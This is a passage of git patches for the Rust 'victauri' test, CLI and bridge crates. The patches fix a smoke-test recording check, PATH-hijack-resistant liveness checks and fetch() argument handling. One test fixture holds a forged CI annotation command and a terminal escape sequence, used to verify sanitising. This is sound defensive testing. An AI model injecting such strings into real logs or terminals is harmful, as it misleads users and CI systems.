concurrent `victauri record` session. It now starts first (race-free: the app refuses a second session); if a recording is already active it leaves it running and does not run. The smoke suite reports that check as skipped with the reason (new `SmokeCheckResult::skipped` field, `[SKIP]` in the summary; a skip counts as passed). Once the check owns its recording it stops it on every path, so a failed eval no longer leaves it running. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-test/src/smoke.rs | 172 +++++++++++++++++++++++++++--- 1 file changed, 158 insertions(+), 14 deletions(-) diff --git a/crates/victauri-test/src/smoke.rs b/crates/victauri-test/src/smoke.rs index 0887bbfb..7e4b21bb 100644 --- a/crates/victauri-test/src/smoke.rs +++ b/crates/victauri-test/src/smoke.rs @@ -40,10 +40,14 @@ pub struct SmokeCheckResult { pub name: String, /// Whether the check passed. pub passed: bool, - /// Failure detail (empty when passed). + /// Failure detail (empty when passed), or the reason a skipped check did not run. pub detail: String, /// Wall-clock duration of this check. pub duration: Duration, + /// The check did not run because its precondition is not met (e.g. the recording + /// check while another client's recording is in progress). A skipped check counts as + /// passed; [`SmokeReport::to_summary`] shows it as `[SKIP]` with the reason. + pub skipped: bool, } /// Aggregate report from [`VictauriClient::smoke_test()`]. @@ -155,13 +159,17 @@ impl SmokeReport { self.duration.as_secs_f64(), )); for check in &self.checks { - let status = if check.passed { "PASS" } else { "FAIL" }; + let status = match (check.passed, check.skipped) { + (true, true) => "SKIP", + (true, false) => "PASS", + (false, _) => "FAIL", + }; out.push_str(&format!( " [{status}] {} ({:.0}ms)\n", crate::terminal::single_line(&check.name), check.duration.as_millis(), )); - if !check.passed && !check.detail.is_empty() { + if (!check.passed || check.skipped) && !check.detail.is_empty() { out.push_str(&format!( " {}\n", crate::terminal::single_line(&check.detail) @@ -400,16 +408,46 @@ impl VictauriClient { /// event drain loop (2 seconds), stops recording, and verifies events /// were captured. /// + /// The app records one session at a time. If a recording is already in progress — + /// another client's, e.g. a concurrent `victauri record` — it is left running and this + /// check does not run (returns `Ok`); [`Self::smoke_test`] reports it as skipped. + /// /// # Errors /// /// Returns [`TestError::Assertion`] if recording captures zero events. pub async fn assert_recording_lifecycle(&mut self) -> Result<(), TestError> { - let _ = self.stop_recording().await; - self.start_recording(None).await?; - self.eval_js("console.log('victauri-smoke-test')").await?; - self.eval_js("document.title").await?; - tokio::time::sleep(Duration::from_secs(2)).await; - let session = self.stop_recording().await?; + self.recording_lifecycle_check().await.map(|_| ()) + } + + /// [`Self::assert_recording_lifecycle`]; `Ok(Some(reason))` when it was skipped. + /// + /// It never stops a recording it did not start (R5B-SMOKE1): it used to call + /// `stop_recording` first "to clean up", which ended — and discarded — any recording + /// already in progress. Starting first is race-free: the app refuses a second session. + async fn recording_lifecycle_check(&mut self) -> Result, TestError> { + match self.start_recording(None).await { + Ok(_) => {} + Err(TestError::ToolError(msg)) if msg.contains("already active") => { + return Ok(Some( + "skipped: a recording is already in progress (another client, e.g. \ + `victauri record`); it was left running. Stop it to run this check." + .to_string(), + )); + } + Err(e) => return Err(e), + } + // From here on the recording is OURS: stop it on every path, or a failed eval would + // leave it running and every later smoke run would skip this check. + let activity = async { + self.eval_js("console.log('victauri-smoke-test')").await?; + self.eval_js("document.title").await?; + tokio::time::sleep(Duration::from_secs(2)).await; + Ok::<(), TestError>(()) + } + .await; + let stopped = self.stop_recording().await; + activity?; + let session = stopped?; let event_count = session .get("events") .and_then(Value::as_array) @@ -419,7 +457,7 @@ impl VictauriClient { "recording captured 0 events — drain loop may not be running".to_string(), )); } - Ok(()) + Ok(None) } /// Assert that `/health` returns only `{"status":"ok"}`. @@ -510,6 +548,7 @@ impl VictauriClient { passed: result.is_ok(), detail: result.err().map_or_else(String::new, |e| e.to_string()), duration: start.elapsed(), + skipped: false, }); }}; } @@ -536,10 +575,19 @@ impl VictauriClient { format!("heap < {:.0}MB", config.max_heap_mb), self.assert_heap_under_mb(config.max_heap_mb).await ); - check!( - "recording lifecycle", - self.assert_recording_lifecycle().await - ); + // Skippable: never ends a recording another client has in progress (R5B-SMOKE1). + let start = Instant::now(); + let outcome = self.recording_lifecycle_check().await; + checks.push(SmokeCheckResult { + name: "recording lifecycle".to_string(), + passed: outcome.is_ok(), + skipped: matches!(outcome, Ok(Some(_))), + detail: match outcome { + Ok(reason) => reason.unwrap_or_default(), + Err(e) => e.to_string(), + }, + duration: start.elapsed(), + }); check!( "health endpoint hardened", self.assert_health_hardened().await @@ -562,6 +610,7 @@ mod tests { passed: true, detail: String::new(), duration: Duration::from_millis(ms), + skipped: false, } } @@ -571,6 +620,7 @@ mod tests { passed: false, detail: detail.to_string(), duration: Duration::from_millis(ms), + skipped: false, } } @@ -712,6 +762,7 @@ mod tests { "1 uncaught error(s): [uncaught] x\n::error file=src/main.rs::forged\u{1b}[2J" .to_string(), duration: Duration::from_millis(1), + skipped: false, }], duration: Duration::from_millis(1), }; @@ -722,4 +773,97 @@ mod tests { ); assert!(!summary.contains('\u{1b}'), "raw ESC reached the terminal"); } + + // ── R5B-SMOKE1: the smoke suite must not end someone else's recording ── + + /// A mock whose `recording` tool behaves like the plugin's: one session at a time. + async fn recording_mock( + already_recording: bool, + ) -> (u16, std::sync::Arc) { + use std::sync::Arc; + use std::sync::atomic::{AtomicBool, AtomicU32, Ordering}; + + let active = Arc::new(AtomicBool::new(already_recording)); + let stops = Arc::new(AtomicU32::new(0)); + let (a, st) = (Arc::clone(&active), Arc::clone(&stops)); + let app = axum::Router::new().route( + "/mcp", + axum::routing::post(move |body: String| { + let (active, stops) = (Arc::clone(&a), Arc::clone(&st)); + async move { + let v: Value = serde_json::from_str(&body).unwrap_or_default(); + let id = v.get("id").cloned(); + let text = |t: String, err: bool| { + serde_json::json!({"jsonrpc":"2.0","id":id, + "result":{"content":[{"type":"text","text":t}],"isError":err}}) + }; + let reply = match v["method"].as_str().unwrap_or("") { + "initialize" => serde_json::json!({"jsonrpc":"2.0","id":id,"result":{ + "protocolVersion":"2025-06-18","capabilities":{}, + "serverInfo":{"name":"mock","version":"0"}}}), + m if m.starts_with("notifications/") => serde_json::json!({}), + _ => match ( + v["params"]["name"].as_str(), + v["params"]["arguments"]["action"].as_str(), + ) { + (Some("recording"), Some("start")) => { + if active.swap(true, Ordering::SeqCst) { + text("recording session already active".into(), true) + } else { + text(r#"{"started":true,"session_id":"s"}"#.into(), false) + } + } + (Some("recording"), Some("stop")) => { + stops.fetch_add(1, Ordering::SeqCst); + if active.swap(false, Ordering::SeqCst) { + text(r#"{"events":[{"type":"console"}]}"#.into(), false) + } else { + text("no active recording session".into(), true) + } + } + (Some("eval_js"), _) => text("null".into(), false), + _ => text("not mocked".into(), true), + }, + }; + axum::Json(reply) + } + }), + ); + let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let port = listener.local_addr().unwrap().port(); + tokio::spawn(async move { axum::serve(listener, app).await.unwrap() }); + (port, stops) + } + + #[tokio::test] + async fn smoke_skips_the_recording_check_when_a_recording_is_in_progress() { + let (port, stops) = recording_mock(true).await; + let mut client = VictauriClient::connect_with_token(port, None) + .await + .unwrap(); + let report = client.smoke_test().await.unwrap(); + let rec = report + .checks + .iter() + .find(|c| c.name == "recording lifecycle") + .expect("recording check present"); + assert_eq!( + stops.load(std::sync::atomic::Ordering::SeqCst), + 0, + "the smoke suite stopped a recording it did not start" + ); + assert!(rec.skipped && rec.passed, "{rec:?}"); + assert!(rec.detail.contains("already in progress"), "{rec:?}"); + assert!(report.to_summary().contains("[SKIP] recording lifecycle")); + } + + #[tokio::test] + async fn the_recording_check_runs_and_stops_its_own_recording() { + let (port, stops) = recording_mock(false).await; + let mut client = VictauriClient::connect_with_token(port, None) + .await + .unwrap(); + client.assert_recording_lifecycle().await.unwrap(); + assert_eq!(stops.load(std::sync::atomic::Ordering::SeqCst), 1); + } } From 9ca683e7a356023c9bc95a8c4907533da1dd9d60 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:26:17 +1000 Subject: [PATCH 147/167] fix(cli): bridge liveness reuses victauri-test's hardened check, never PATH (R5B-BR7) On Unix the bridge had its own liveness: `ps -U` / `kill -0` resolved from /bin or /usr/bin, else a BARE name looked up on PATH. On NixOS/Guix/minimal images that meant a PATH lookup (a hijacked PATH decides which PIDs look alive, i.e. where the Bearer token goes), or no liveness at all and no app found. Per-PID liveness now calls `victauri_test::process::is_own_live_process` on every platform (the R4-hardened kill/sh-builtin//proc chain Windows already used). The batched `ps -U` snapshot is kept for speed but is resolved only from fixed locations incl. the NixOS/Guix system profiles, and is skipped (falling back to the hardened per-PID check) when absent -- never a bare-name lookup. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/bridge.rs | 66 +++++++++++++++++-------------- 1 file changed, 37 insertions(+), 29 deletions(-) diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index abe34a33..a100fe12 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -1346,17 +1346,25 @@ fn alive_pids() -> Option> { None } -/// Resolve a core utility to an absolute path (defeats `PATH`-hijack of the poller's repeated -/// `ps`/`kill` spawns), falling back to the bare name only if neither canonical location exists. -#[cfg(not(windows))] -fn abs_bin(name: &str) -> String { - for base in ["/bin", "/usr/bin"] { - let p = format!("{base}/{name}"); - if std::path::Path::new(&p).exists() { - return p; - } - } - name.to_string() +/// Where core utilities live: the FHS locations, then the NixOS and Guix system profiles +/// (which have no `/bin/ps`). Never `PATH`: a hijacked `PATH` would decide which PIDs look +/// alive — and so where the Bearer token is sent (R5B-BR7). +#[cfg(unix)] +const BIN_DIRS: &[&str] = &[ + "/bin", + "/usr/bin", + "/run/current-system/sw/bin", + "/run/current-system/profile/bin", +]; + +/// Resolve a core utility to an absolute path in [`BIN_DIRS`]; `None` when it is not +/// installed there (the caller then uses the hardened per-PID check, never a bare name). +#[cfg(unix)] +fn abs_bin(name: &str) -> Option { + BIN_DIRS + .iter() + .map(|dir| format!("{dir}/{name}")) + .find(|p| std::path::Path::new(p).is_file()) } /// Windows: no batched enumeration — each discovered PID is checked in-process by @@ -1377,7 +1385,7 @@ fn alive_pids() -> Option> { #[cfg(unix)] fn alive_pids() -> Option> { let uid = current_euid()?.to_string(); - let out = std::process::Command::new(abs_bin("ps")) + let out = std::process::Command::new(abs_bin("ps")?) .args(["-U", uid.as_str(), "-o", "pid="]) .output() .ok()?; @@ -1392,27 +1400,15 @@ fn alive_pids() -> Option> { (!set.is_empty()).then_some(set) } -/// A live process owned by the current user — exact PID, own-user only (the cross-user PID -/// reuse fix `ps -U` gave Unix, audit R2-7). -#[cfg(windows)] +/// A live process owned by the current user — exact PID, own-user only (audit R2-7) — via +/// victauri-test's hardened check, the same one its discovery and (by copy) the watchdog use. +/// On Unix that is `kill -0` from a fixed set of locations incl. NixOS/Guix, then a shell's +/// builtin `kill`, then `/proc` — never a `PATH` lookup. The bridge's own old copy fell back to +/// a bare `kill` on `PATH`, and found no app at all where no `kill` binary exists (R5B-BR7). fn is_process_alive(pid: u32) -> bool { victauri_test::process::is_own_live_process(pid) } -#[cfg(not(windows))] -fn is_process_alive(pid: u32) -> bool { - // Portable POSIX liveness check. `/proc` is Linux-only — on macOS it does not exist, - // so the old `/proc/{pid}` test always returned false and the bridge filtered out every - // discovery entry (it could find NO server on macOS). `kill -0` sends no signal but - // succeeds iff the process exists and is signalable by us — and discovery entries are - // our own user's processes. Works identically on macOS and Linux. - std::process::Command::new(abs_bin("kill")) - .args(["-0", &pid.to_string()]) - .stderr(std::process::Stdio::null()) - .status() - .is_ok_and(|s| s.success()) -} - /// Trust a discovery directory only if it is a real directory (not a symlink), owned by the /// current user, and not group/other-writable. Mirrors `victauri-test::discovery::dir_is_trusted` /// — the bridge had no such check (audit #15 read-side residual), and it is the path Claude Code @@ -1697,6 +1693,18 @@ mod tests { } } + /// R5B-BR7: a utility missing from the canonical locations (NixOS/Guix/minimal images) + /// must never be resolved through `PATH` — a bare name lets a hijacked `PATH` decide which + /// PIDs look alive, i.e. where the Bearer token goes. + #[cfg(unix)] + #[test] + fn helper_binaries_are_never_resolved_through_path() { + assert_eq!(abs_bin("victauri-no-such-helper"), None); + if let Some(sh) = abs_bin("sh") { + assert!(std::path::Path::new(&sh).is_absolute(), "{sh}"); + } + } + #[cfg(unix)] #[test] fn uid_probe_refuses_preplanted_symlink_without_clobbering_target() { From 7963470a39ef821cf87fa3ebb88dfff9dbbc01cf Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:27:34 +1000 Subject: [PATCH 148/167] fix(bridge): fetch() interceptor passes arguments through exactly (R5B-FETCH0) With no arguments the interceptor converted the missing input to the string "undefined" and fetched `./undefined` (logged as a real request) instead of letting native fetch reject with its TypeError. It now delegates a zero-arg call to the original fetch untouched, and forwards `fetch(x)` as one argument rather than growing an explicit `undefined` init. The jsdom harness's fetch stub now rejects a zero-argument call as native fetch does. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 10 ++++-- .../victauri-plugin/tests/bridge_r5b_tests.rs | 35 +++++++++++++++++++ .../tests/bridge_tests/run_tests.js | 6 ++++ 3 files changed, 49 insertions(+), 2 deletions(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index 2be954a8..be9ed4b3 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -2841,6 +2841,12 @@ const INIT_SCRIPT_BODY: &str = r#" var origFetch = window.fetch; if (origFetch) { window.fetch = function(input, init) { + // Arguments pass through exactly as given (R5B-FETCH0): `fetch()` with no input + // must reject natively, not fetch the string "undefined"; `fetch(x)` must not + // grow an explicit `undefined` init. + var argc = arguments.length; + if (argc === 0) return REFLECT_APPLY(origFetch, this, []); + function fetchArgs(first) { return argc === 1 ? [first] : [first, init]; } // Log exactly the request fetch will make (R4-JS3). A look-alike object's own // `url`/`method` used to be logged although fetch requests `String(input)`, so a // page could plant fake IPC entries (a "quit_app" call that never happened). @@ -2865,7 +2871,7 @@ const INIT_SCRIPT_BODY: &str = r#" if (initMethod !== undefined) method = toStringExact(initMethod); } catch (e) { // fetch itself rejects this input: let it, with nothing logged. - return REFLECT_APPLY(origFetch, this, [input, init]); + return REFLECT_APPLY(origFetch, this, fetchArgs(input)); } var id = ++networkCounter; var isIpc = isIpcUrl(url); @@ -2961,7 +2967,7 @@ const INIT_SCRIPT_BODY: &str = r#" return doRealFetch(); function doRealFetch() { - return REFLECT_APPLY(origFetch, self, [fetchInput, init]).then(function(response) { + return REFLECT_APPLY(origFetch, self, fetchArgs(fetchInput)).then(function(response) { entry.status = response.status; entry.status_text = response.statusText; entry.duration_ms = Date.now() - entry.timestamp; diff --git a/crates/victauri-plugin/tests/bridge_r5b_tests.rs b/crates/victauri-plugin/tests/bridge_r5b_tests.rs index 14e0eb27..3f6bb02f 100644 --- a/crates/victauri-plugin/tests/bridge_r5b_tests.rs +++ b/crates/victauri-plugin/tests/bridge_r5b_tests.rs @@ -449,3 +449,38 @@ fn r5b_xhr1_reused_xhr_keeps_one_entry_per_request() { assert_eq!(r["blocked_loadend"], true, "{r}"); assert_eq!(r["blocked_events"], serde_json::json!(["error"]), "{r}"); } + +// ── R5B-FETCH0: fetch() with no arguments rejects like the native one ─────── + +/// The interceptor converted a missing input to the string "undefined" and fetched it (a +/// relative request to `./undefined`) instead of letting native fetch reject. +#[test] +fn r5b_fetch0_fetch_without_arguments_rejects_natively() { + let def = def( + None, + vec![case( + "fetch() rejects with the native TypeError and logs nothing", + r" + var V = window.__VICTAURI__; + var outcome; + try { await fetch(); outcome = 'resolved'; } + catch (e) { outcome = e.name + ': ' + e.message; } + // One argument still works and is logged. + await fetch('/r5b/one'); + return { outcome: outcome, urls: V.getNetworkLog().map(function(e) { return e.url; }) }; + ", + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = result(&results, 0); + assert!( + r["outcome"] + .as_str() + .is_some_and(|o| o.starts_with("TypeError: Failed to execute 'fetch'")), + "{r}" + ); + assert_eq!(r["urls"], serde_json::json!(["/r5b/one"]), "{r}"); +} diff --git a/crates/victauri-plugin/tests/bridge_tests/run_tests.js b/crates/victauri-plugin/tests/bridge_tests/run_tests.js index 8c4d6738..5a6b7033 100644 --- a/crates/victauri-plugin/tests/bridge_tests/run_tests.js +++ b/crates/victauri-plugin/tests/bridge_tests/run_tests.js @@ -220,6 +220,12 @@ async function run() { // can update its network log entries. if (!window.fetch) { window.fetch = function (input, init) { + // Native fetch() requires its first argument. + if (arguments.length === 0) { + return Promise.reject( + new TypeError("Failed to execute 'fetch': 1 argument required, but only 0 present."), + ); + } const url = typeof input === "string" ? input From 4857fac23beaee8a8d3e900c9269b7ae968a80fa Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:34:02 +1000 Subject: [PATCH 149/167] fix(cli): bridge handles requests concurrently (R5B-BR5) The stdio loop awaited each forward before reading the next line, so one long `tools/call` (the default HTTP timeout is now 330 s) delayed `ping`, every parallel tool call, and the `notifications/cancelled` meant to stop it. Now: - local methods (initialize, the client's notifications/initialized, ping, batches, invalid messages) are answered inline; - every forwarded request runs as its own task, bounded at 32 in flight (past that a request is refused at once with an error, never queued unbounded); - notifications (incl. cancelled) and client responses are forwarded promptly and in order by one dedicated task (bounded queue); - each forward holds its resolved backend in a local, and the lazy backend handshake is single-flight (a tokio mutex + re-check), so concurrent requests never race several handshakes; a stale reply clears the session only if it is still the one that request used (compare-and-clear). Kept: one complete JSON line per locked stdout write, the no-replay rule for a possibly-delivered tools/call, list_changed only after notifications/initialized. On stdin EOF in-flight requests get a bounded grace period to answer. E2E: two 4 s `slow` calls + ping + notifications/cancelled -- the ping is answered first and at once, the cancel reaches the backend while the call runs, and both calls finish in ~one call's time. (Before: the ping's reply came after the slow call.) The client-response test now polls for the async forward. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/bridge.rs | 718 +++++++++--------- .../victauri-cli/tests/bridge_protocol_e2e.rs | 110 ++- 2 files changed, 479 insertions(+), 349 deletions(-) diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index a100fe12..979496c0 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -108,6 +108,75 @@ fn resolve_app_selector(cli: Option, env: Option) -> Option, + /// The backend MCP session (a stateful legacy backend only). + session_id: Mutex>, + /// The client's `initialize` message, cached so we can hand-shake the BACKEND (replay it) + /// when we first forward a real request and after a restart. The client is answered + /// locally, so it only ever sends `initialize` once. + cached_init: Mutex>, + /// Set once a backend handshake returns no `Mcp-Session-Id`: the server is stateless, so + /// there is no session to mint or lose and we must not re-`initialize` before every call. + stateless: AtomicBool, + /// Single-flight guard for the lazy backend handshake: concurrent requests that all find no + /// session wait here for ONE handshake instead of racing several (R5B-BR5). + handshake: tokio::sync::Mutex<()>, + /// Last-known backend availability — SOLELY owned by the poller (see H1 in the audit): the + /// request path never writes it, so the down→up edge is detected in exactly one place. + backend_up: AtomicBool, + /// Set once the client sends `notifications/initialized` (its OWN handshake completion), so + /// the poller never emits a server notification before the client has finished initializing + /// — not merely before we answered `initialize` (audit #3). + client_ready: AtomicBool, + /// stdout is shared by every writer; each write locks, emits complete line(s), and flushes, + /// so replies and notifications never interleave mid-line. + stdout: Mutex, + /// Bounds the forwarded requests in flight ([`MAX_IN_FLIGHT`]). + in_flight: Arc, +} + +impl Bridge { + fn new(http: reqwest::Client, app: Option) -> Self { + Self { + http, + app, + session_id: Mutex::new(None), + cached_init: Mutex::new(None), + stateless: AtomicBool::new(false), + handshake: tokio::sync::Mutex::new(()), + backend_up: AtomicBool::new(false), + client_ready: AtomicBool::new(false), + stdout: Mutex::new(std::io::stdout()), + in_flight: Arc::new(tokio::sync::Semaphore::new(MAX_IN_FLIGHT)), + } + } + + /// Forget the backend session — only if it is still `used`: a concurrent request may already + /// have minted a fresh one, which a stale reply to an OLD session must not wipe. + fn clear_session_if(&self, used: Option<&str>) { + let mut sid = locked(&self.session_id); + if sid.as_deref() == used { + *sid = None; + } + } +} + /// Run the stdio bridge for MCP clients. /// /// Unlike a naive proxy, this NEVER blocks the MCP handshake on discovering a backend: @@ -116,6 +185,12 @@ fn resolve_app_selector(cli: Option, env: Option) -> Option) -> Result<()> { // Tool calls discover lazily and fail fast with an actionable message when the app is down. let _ = wait; let app = resolve_app_selector(app, std::env::var("VICTAURI_APP").ok()); - let http = build_client()?; - - // The live backend, discovered lazily. `None` until an app is found — the bridge starts - // and serves the handshake with no backend at all. - let connection: Arc>> = Arc::new(Mutex::new(None)); - let session_id: Arc>> = Arc::new(Mutex::new(None)); - // The client's `initialize` message, cached so we can hand-shake the BACKEND (replay it) - // when we first forward a real request and after a restart. The client is answered - // locally, so it only ever sends `initialize` once. - let cached_init: Arc>> = Arc::new(Mutex::new(None)); - // Set once a backend handshake returns no `Mcp-Session-Id`: the server is stateless, so - // there is no session to mint or lose and we must not re-`initialize` before every call. - let stateless: Arc> = Arc::new(Mutex::new(false)); - // Last-known backend availability — SOLELY owned by the poller (see H1 in the audit): the - // request path never writes it, so the down→up edge is detected in exactly one place. - let backend_up = Arc::new(AtomicBool::new(false)); - // Set once the client sends `notifications/initialized` (its OWN handshake completion), so - // the poller never emits a server notification before the client has finished initializing — - // not merely before we answered `initialize` (audit #3). Gating on the client's ack, not on - // our local reply, closes the window where `list_changed` could precede the init response. - let client_ready = Arc::new(AtomicBool::new(false)); - // stdout is shared with the background poller (which writes `list_changed`); every write - // locks, emits one line, and flushes, so responses and notifications never interleave. - let stdout = Arc::new(Mutex::new(std::io::stdout())); - - spawn_availability_poller( - app.clone(), - Arc::clone(&connection), - Arc::clone(&session_id), - Arc::clone(&stateless), - Arc::clone(&backend_up), - Arc::clone(&client_ready), - Arc::clone(&stdout), - ); + let bridge = Arc::new(Bridge::new(build_client()?, app)); + + spawn_availability_poller(Arc::clone(&bridge)); + + // Notifications and client responses: forwarded in arrival order by ONE task, so a + // `notifications/cancelled` reaches the backend while the call it cancels is still running, + // and never waits behind it. + let (one_way_tx, mut one_way_rx) = tokio::sync::mpsc::channel::(ONE_WAY_QUEUE); + let forwarder = { + let bridge = Arc::clone(&bridge); + tokio::spawn(async move { + while let Some(msg) = one_way_rx.recv().await { + forward_one_way(&bridge, &msg).await; + } + }) + }; // Read stdin on a DEDICATED OS thread feeding an async channel, so the blocking read never // parks a tokio worker (which, on a single-vCPU host, would starve the timer and stop the @@ -177,178 +234,198 @@ pub async fn run(wait: bool, app: Option) -> Result<()> { }); while let Some(line) = line_rx.recv().await { - let trimmed = line.trim(); - if trimmed.is_empty() { - continue; - } + handle_line(&bridge, &one_way_tx, line.trim()); + } - let msg: Value = match serde_json::from_str(trimmed) { - Ok(v) => v, - Err(e) => { - eprintln!("victauri-bridge: invalid JSON on stdin: {e}"); - continue; - } - }; + // stdin closed: let what is already running finish (bounded), then exit. + drop(one_way_tx); + let _ = tokio::time::timeout(SHUTDOWN_GRACE, async { + let _ = forwarder.await; + let _ = bridge.in_flight.acquire_many(MAX_IN_FLIGHT as u32).await; + }) + .await; + Ok(()) +} - // A JSON-RPC batch is answered here and NEVER forwarded (R5-BR1): see `batch_rejection`. - if let Value::Array(items) = &msg { - match batch_rejection(items) { - Some(reply) => write_value(&stdout, &reply), - None => eprintln!( - "victauri-bridge: dropped a JSON-RPC batch of notifications/responses \ - (batching is not supported)" - ), - } - continue; +/// Handle one stdin line. Never awaits: everything that talks to a backend is handed to a task +/// (a request) or to the ordered one-way queue (a notification / client response). +fn handle_line(bridge: &Arc, one_way: &tokio::sync::mpsc::Sender, line: &str) { + if line.is_empty() { + return; + } + let msg: Value = match serde_json::from_str(line) { + Ok(v) => v, + Err(e) => { + eprintln!("victauri-bridge: invalid JSON on stdin: {e}"); + return; } + }; - // No `method`: a client->server RESPONSE, or an Invalid Request (R5-BR3). - if msg.get("method").is_none() { - if is_client_response(&msg) { - // A reply to a server-initiated request (sampling/elicitation/roots), which a - // stateful backend may send inside an SSE stream this bridge relays verbatim — so - // it must reach the backend. But JSON-RPC never answers a response: whatever the - // backend says (202, or an error body) is logged, never written to the client. - let outcome = forward_with_retries( - &http, - &connection, - &session_id, - &stateless, - &cached_init, - app.as_deref(), - &msg, - ) - .await; - match outcome { - ForwardResult::Accepted => {} - ForwardResult::Payloads(p) if p.is_empty() => {} - ForwardResult::Payloads(p) => eprintln!( - "victauri-bridge: backend answered a client response (not relayed): {}", - p.join(" ") - ), - ForwardResult::Unreachable(e) => { - eprintln!("victauri-bridge: could not deliver a client response: {e}"); - } - } - } else { - write_value( - &stdout, - &json!({ - "jsonrpc": "2.0", - "id": msg.get("id").cloned().unwrap_or(Value::Null), - "error": { - "code": INVALID_REQUEST, - "message": "invalid request: a JSON-RPC request needs a `method`" - } - }), - ); - } - continue; + // A JSON-RPC batch is answered here and NEVER forwarded (R5-BR1): see `batch_rejection`. + if let Value::Array(items) = &msg { + match batch_rejection(items) { + Some(reply) => write_value(&bridge.stdout, &reply), + None => eprintln!( + "victauri-bridge: dropped a JSON-RPC batch of notifications/responses \ + (batching is not supported)" + ), } + return; + } - let method = msg.get("method").and_then(|m| m.as_str()).unwrap_or(""); - let id = msg.get("id").cloned().unwrap_or(Value::Null); - let is_notification = !expects_reply(&msg); + // No `method`: a client->server RESPONSE, or an Invalid Request (R5-BR3). + if msg.get("method").is_none() { + if is_client_response(&msg) { + // A reply to a server-initiated request (sampling/elicitation/roots), which a + // stateful backend may send inside an SSE stream this bridge relays verbatim — so + // it must reach the backend. JSON-RPC never answers a response. + enqueue_one_way(one_way, msg); + } else { + write_value( + &bridge.stdout, + &json!({ + "jsonrpc": "2.0", + "id": msg.get("id").cloned().unwrap_or(Value::Null), + "error": { + "code": INVALID_REQUEST, + "message": "invalid request: a JSON-RPC request needs a `method`" + } + }), + ); + } + return; + } - match method { - // ── Answered locally — never block on a backend ────────────────────── - "initialize" => { - // Cache for the lazy backend handshake, then reply immediately. - *locked(&cached_init) = Some(msg.clone()); - write_value(&stdout, &local_initialize_response(&msg)); - } - // The client's ack of OUR local initialize. It must never reach a backend (we - // handshake the backend separately) and needs no response — but it is the point at - // which the client is ready to receive server notifications, so mark it here (NOT on - // `initialize`) so the poller can't emit `list_changed` before the client is ready. - "notifications/initialized" => { - client_ready.store(true, Ordering::Release); - // If the backend already came up during the init-handshake window, the poller - // saw that down→up edge but skipped the emit (the client wasn't ready yet), and - // there is no fresh edge to emit on later. Emit once now so the client still - // refreshes to the live tool list — idempotent and cheap. (A compliant client's - // first `tools/list` after this ack already returns the live list directly; this - // just covers a client that relies solely on the notification.) - if backend_up.load(Ordering::Acquire) { - write_notification(&stdout, "notifications/tools/list_changed"); - write_notification(&stdout, "notifications/resources/list_changed"); - } - } - "ping" => { - write_value(&stdout, &json!({"jsonrpc": "2.0", "id": id, "result": {}})); - } - // ── List methods: live when up, graceful placeholder when down ─────── - "tools/list" => { - match forward_when_up( - &http, - &connection, - &session_id, - &stateless, - &cached_init, - app.as_deref(), - &msg, - ) - .await - { - Some(payloads) => write_payloads(&stdout, &payloads), - // App down (or a transient fetch miss): serve the full baked fallback so - // the agent still sees every tool. The live list arrives via - // `tools/list_changed` when the app comes up. - None => write_value(&stdout, &fallback_tools_response(&id)), - } + let method = msg.get("method").and_then(Value::as_str).unwrap_or(""); + let id = msg.get("id").cloned().unwrap_or(Value::Null); + match method { + // ── Answered locally, inline — never block on a backend ───────────── + "initialize" => { + // Cache for the lazy backend handshake, then reply immediately. + *locked(&bridge.cached_init) = Some(msg.clone()); + write_value(&bridge.stdout, &local_initialize_response(&msg)); + } + // The client's ack of OUR local initialize. It must never reach a backend (we + // handshake the backend separately) and needs no response — but it is the point at + // which the client is ready to receive server notifications, so mark it here (NOT on + // `initialize`) so the poller can't emit `list_changed` before the client is ready. + "notifications/initialized" => { + bridge.client_ready.store(true, Ordering::Release); + // If the backend already came up during the init-handshake window, the poller + // saw that down→up edge but skipped the emit (the client wasn't ready yet), and + // there is no fresh edge to emit on later. Emit once now so the client still + // refreshes to the live tool list — idempotent and cheap. + if bridge.backend_up.load(Ordering::Acquire) { + write_notification(&bridge.stdout, "notifications/tools/list_changed"); + write_notification(&bridge.stdout, "notifications/resources/list_changed"); } - "resources/list" | "resources/templates/list" | "prompts/list" => { - match forward_when_up( - &http, - &connection, - &session_id, - &stateless, - &cached_init, - app.as_deref(), - &msg, - ) - .await - { - Some(payloads) => write_payloads(&stdout, &payloads), - // Empty (but valid) result when down — avoids a startup error for a - // capability we advertise; the real list arrives via `list_changed`. - None => write_value(&stdout, &empty_list_response(method, &id)), - } + } + "ping" => { + write_value( + &bridge.stdout, + &json!({"jsonrpc": "2.0", "id": id, "result": {}}), + ); + } + // Any other notification (incl. `notifications/cancelled`): forwarded, in order, + // without waiting for in-flight requests. + _ if !expects_reply(&msg) => enqueue_one_way(one_way, msg), + // ── A forwarded request: its own task, bounded ────────────────────── + _ => match Arc::clone(&bridge.in_flight).try_acquire_owned() { + Ok(permit) => { + let bridge = Arc::clone(bridge); + tokio::spawn(async move { + let _permit = permit; + let payloads = handle_request(&bridge, &msg).await; + write_payloads(&bridge.stdout, &payloads); + }); } - // ── Everything else (tools/call, resources/read, …) needs a live app ─ - _ => { - match forward_with_retries( - &http, 